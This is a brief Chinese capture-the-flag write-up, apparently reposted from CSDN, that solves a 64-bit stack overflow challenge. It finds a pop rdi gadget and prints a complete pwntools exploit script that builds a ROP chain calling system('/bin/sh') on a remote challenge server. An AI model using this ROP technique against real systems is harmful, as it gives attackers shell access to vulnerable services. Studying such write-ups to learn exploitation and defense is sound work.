先用checksec检查一下
只开启了NX保护
打开ida,找到buf
点击buf查看长度算出偏移量为0x80+8(64位)
由于64位的参数传递是用edi传递,利用程序自己的带有pop edi/rdi;ret语句达到给edi赋值的效果。pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。(摘自 yudhui)ROPgadget --binary level2_x64.04d700633c6dc26afc6a1e7e9df8c94e -- only 'pop|ret' |grep 'rdi'
0x00000000004006b3 : pop rdi ; ret
找到程序的pop rdi地址;
找到bin和system地址。
之后就可构造exp了
from pwn import *
sh = remote('pwn2.jarvisoj.com',9882)
offset = 0x88
popaddr = 0x4006b3
binaddr = 0x600a90
sysaddr = 0x40063e
payload = offset*'a' + p64(popaddr)+p64(binaddr)+p64(sysaddr)
sh.recvline()
sh.sendline(payload)
sh.interactive()
来源:CSDN
作者:Realiy
链接:https://blog.csdn.net/Realiy/article/details/103928904